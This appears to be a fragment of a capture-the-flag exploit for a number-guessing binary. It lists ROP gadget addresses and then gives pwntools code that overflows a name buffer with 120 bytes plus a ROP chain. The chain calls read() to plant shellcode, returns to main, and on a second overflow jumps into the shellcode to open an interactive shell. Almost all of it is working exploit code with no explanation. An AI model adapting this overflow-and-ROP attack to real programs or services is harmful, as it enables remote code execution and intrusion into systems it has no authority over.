0x0000000000482776 : pop rax ; pop rdx ; pop rbx ; ret 0x00000000004026f5 : pop rdi ; pop rbp ; ret 0x0000000000400696 : pop rdi ; ret 0x000000000047099d : pop rdi ; ret 0xfffd 0x000000000044cc24 : pop rdx ; pop r10 ; ret 0x0000000000482777 : pop rdx ; pop rbx ; ret 0x000000000044cc49 : pop rdx ; pop rsi ; ret 0x000000000044cc26 : pop rdx ; ret 0x00000000004026f3 : pop rsi ; pop r15 ; pop rbp ; ret 0x0000000000400694 : pop rsi ; pop r15 ; ret 0x000000000041025e : pop rsi ; pop rbp ; ret 0x0000000000410ca3 : pop rsi ; ret
print(conn.recvuntil(b"What number would you like to guess?\n")) conn.sendline(b'87') print(conn.recvuntil(b'!\nName?')) payload2=b'a'*120+p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(shellcode_addr)+p64(rdx_addr)+p64(29)+p64(read_addr)+p64(main_addr) conn.sendline(payload2) conn.send(shellcode)
print(conn.recvuntil(b"What number would you like to guess?\n")) conn.sendline(b'78') print(conn.recvuntil(b'!\nName?')) payload3=b'a'*120+p64(shellcode_addr) conn.sendline(payload3) conn.interactive()